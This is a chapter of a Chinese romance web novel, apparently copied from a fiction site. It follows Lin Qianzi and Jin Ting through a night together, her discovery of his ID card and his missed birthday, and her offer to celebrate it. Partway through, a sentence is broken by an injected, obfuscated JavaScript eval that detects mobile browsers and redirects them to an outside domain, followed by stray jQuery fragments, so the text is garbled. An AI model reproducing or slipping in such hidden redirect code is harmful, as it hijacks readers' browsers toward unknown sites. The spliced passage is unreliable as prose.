是馥郁醇厚的一夜，雪色凝重，密密匝匝地积，雨似流珠，丝丝缕缕地倾。她宿在他宽大的卧室，不见天日，灰色的被褥被他卷着垫在她身下。


    大雪满弓刀，翻翻覆覆。


    她低头，口鼻呼吸都一并被他以另一种形式，完全掠夺。虽阖着窗，外面那场没有止境的雨，仍打在了她身上。


    呼吸逐渐轻轻的，短短的，她尽量汲取薄弱的空气，每一次喘噎都太清脆，脆得她感觉气管要喘断。反复下来，她颤颤巍巍弓着背，眼泪把他的被单都打湿，算是一种无声宣泄。


    靳汀只好去接她的眼泪，温暖湿润的右手盖上去，她疲倦的双眼得以归栖，他笑意缠绵：“宝宝，好能哭啊。”


    明明是该安慰她的时候，他左手叮叮当当的手链声还在响。


    茜子这下真的羞恼，连丁点声响都不发了。他不在意，反正她这德行，总有泄气那刻。就像兔子疼了不会喊，但疼到头的声音，喊得比谁都大。


    一屋暖燎氤氲，林茜子感觉自己像在照《红楼梦》中的风月宝鉴，照的正面，死死陷在这头。她一有抽身想法，他就拉着她的手，黏腻地夸她乖孩子好孩子，连哄带骗不许她出镜子。


    她开始分不清身上被打湿的部分，是源于蹭到眼泪还是其他。她才是那个贾瑞吧，至少先一步被他折磨死。


    这是她最后的念头。


    这段经历，让她之后很长一段时间都在想，二十五岁绝对不是男人的坎，至少不是他的。


    后来也是靳汀帮她安顿好一切，她真的觉得，他做什么都很细致。吹头发是一丝丝捋着吹。牙刷拆了新的先用水打湿变软，再给她挤牙膏。给她套衣服，扣上衬衫扣的时候，他都不扣满，说扣满睡觉会不舒服。


    最后一条不知是真是假。她这晚是捂着胸口入睡，微微弓下身子，但其实这样更能被看得清楚，靳汀没有说。


    ……


    林茜子再睁眼时，雨还在下，被褥温暖，有着另一人的体温。他卧室的窗帘是全遮光，分不清白昼。他们是各栖一方睡，不甜蜜，但舒服，眼下反而方便她动作。漆黑中，茜子眼帘松低，下意识伸出手，想摸床头柜上她的手机。


    留有余温的指尖碰到个皮的东西，一摸，冷而滑，叠成两块的长方形，有内层，是皮夹。


    本身用料就好，是皮夹就更别说溢价。这下，她都怕自己指尖划得留痕，哪敢再碰。皮夹里还有卡，她没有窥探意思，手正打算缩回，猛然擦过什么，她心一缩。


    这会雨小，他家玻璃隔音，安静得连针落地上都能听见，掉什么声响都大。


    “啪嗒”一声后，身后孱弱的呼吸声依旧。


    靳汀睡得太过于安静，她僵着，其实宁愿他醒，这样方便她解释。林茜子默默摸到床头柜上冰凉的手机。她的手机壳也是皮的，当时买手机送的，她一直懒得换个好看款式。


    两相对比，她手机壳的皮很硬，花纹还摸得出有点掉漆。翻过手机，屏幕亮起，正是凌晨五点钟。她昨晚五点到他家，十一点才睡。


    林茜子拿屏幕光去照棕色木地板，果然看见一个棕色皮夹，里面的东西也掉出来，一张白底红蓝波浪细纹交织的卡片。所有中国人都熟悉的卡——身份证。


    她还记得那天酒店里，她无意瞥见他手机里的护照照片，这张身份证大概是同一时段所拍。


    人生谁都有鲜衣怒马少年时，她隔着纱听他讲些琐事，都感受得到，他那段人生的兴头有多猛烈。她想不出，多少人的春风得意，能凑得上那时的他的一丝半缕。


    毕竟那时的他，拍个身份证的眼神，都看得人要化了。


    证件信息她相信他，没去看，唯独惦念着出生日期，他没和她讲过自己的生日。可当去看时，明晃晃的十二月，又有点刺痛她。


    十二月八号。甚至都已经过了，就在这个月前不久，她全然不知。


    茜子静静把身份证夹回皮夹，转过头想瞧他时，发丝无意拢在了男人脸上，伴随他面颊摩擦出窸窣声。


    靳汀不知什么时候已经靠过来，灼热的呼吸捆住她，双手自然探到她那颗，有所保留的衬衫扣子，嗓音低哑：“在看什么？”


    他这人就是一副，你做什么事都瞒不过他的样，但哪怕瞒不过，他似乎也毫不介怀。


    茜子问心无愧，一张身份证，也不能看出花来，她平淡答：“你的皮夹掉了，我帮你把身份证夹回去。”


    靳汀没多想，舒舒服服地把头枕在她发丝，拿指尖把玩着她那颗扣子：“嗯。”他另一只手，顺过来掐了把她的腰侧。和茜子吃第一顿饭时，他的想法果然没错，女孩哪都很像姜撞奶，嫩乎乎的，“你穿什么码数？我们下午可以去UW逛逛。”


    她怕移开头，头发被他压疼，也就没动。靳汀把弄她扣子的那只手是左手，银色手链一晚上却捂不热半分，在她衬衫扣流连往返。上面镶嵌的白钻，时不时刮蹭到她柔软的肌肤，冷，刺，细微的疼和爽。


    他想来是懒得差人去酒店拿行李，办起来手续麻烦，或者是觉得，她穿的撑不起面子吧。


    林茜子缩了缩腰，背对他小心翼翼地道：“我还没在美国买过衣服，不知道这里码数套过去，合不合身。”她平时工作，不会对穿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377145|182305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着多上心，出去玩也很少，基本带的都是能搭成多套的衣服。


    以至于，那天去见他的朋友，行李箱一件首饰都翻不出。


    听到她这话，靳汀思索一阵，把扣子接着往下翻，解。哪怕黑得什么都看不着，他也对此饶有兴致。而后，他颇具怜惜地哄：“pirl.”


    一词多义，茜子没有放在心上。


    好一会，靳汀终是玩倦，收回手，体温渐远。她依旧栖息在他的余温里，摸着衬衫折中处温润的贝壳扣，侧头问：“不多睡会吗？”


    她的手捋着衬衫边到底，发现扣子都已被他解开。


    对于茜子的话，他说不用，已经习惯。随后，卧室的门被他轻轻拧开，曦光漫漫，白雾漓漓，给这不见天日的地方开了窗。


    男人的背影，蹭着这会得天独厚的柔光潋滟，总让她觉得有点不真实。


    “靳汀，你今天上午有事情吗？”她看他，用声音挽住那个要离开的背影。


    靳汀回过头，视线寻到茜子。她仍陷在半摞氤氲昏暗里，但看他的眼神很清明。靳汀开始想，他喜欢她哪里。


    是这双有点倔强的眼，还是洁白的额角。或是对他反复抿起的唇。再或者，第二次见面，那扣着手机壳的粉润指甲。


    有时候他打电话陪茜子做题，她做题的时间偏长，倦了她会说要睡一会，起来再写。电话他没有挂，小姑娘醒来声音也是这样，带哑，温而淡。


    他吓她，在她意识模模糊糊时候，像个抓瞌睡学生的老师喊她名字，她还会暗暗生气，润嗓后搁水杯的声音变重。他戴着耳机听得一清二楚，笑了笑问她是不是生气，搁水杯这么重？


    她惊讶到忘记生气，质问，这你都听得见？


    往日桩桩件件雕砌，他自己都不觉察，好像喜欢她的地方，变得有点多。


    靳汀抽回思绪，认真回答她的问题：“没有。我只是准备去洗漱。”


    茜子点点头，想起那条还没给他的围巾，圣诞节已经过去：“你生日过了吗？”


    靳汀耐着性子：“我这几年都不过生日。”到他这个年纪，无非是翻看日历感慨时间更快。人生早就淹没在盏盏都市灯火，生日如往常的任何一天，庆祝开始变得无意义。


    茜子想起自己的十八岁生日，好像也很平淡，平淡得就像他刚刚那句话的语气。


    她去征求他的意见：“我陪你补过一个，好不好？”


    她说得还有点心疼意味。


    靳汀装不住，轻轻嗤笑，讶异人生头一次有人可怜他。


    但他说：“好啊。谢谢茜子。”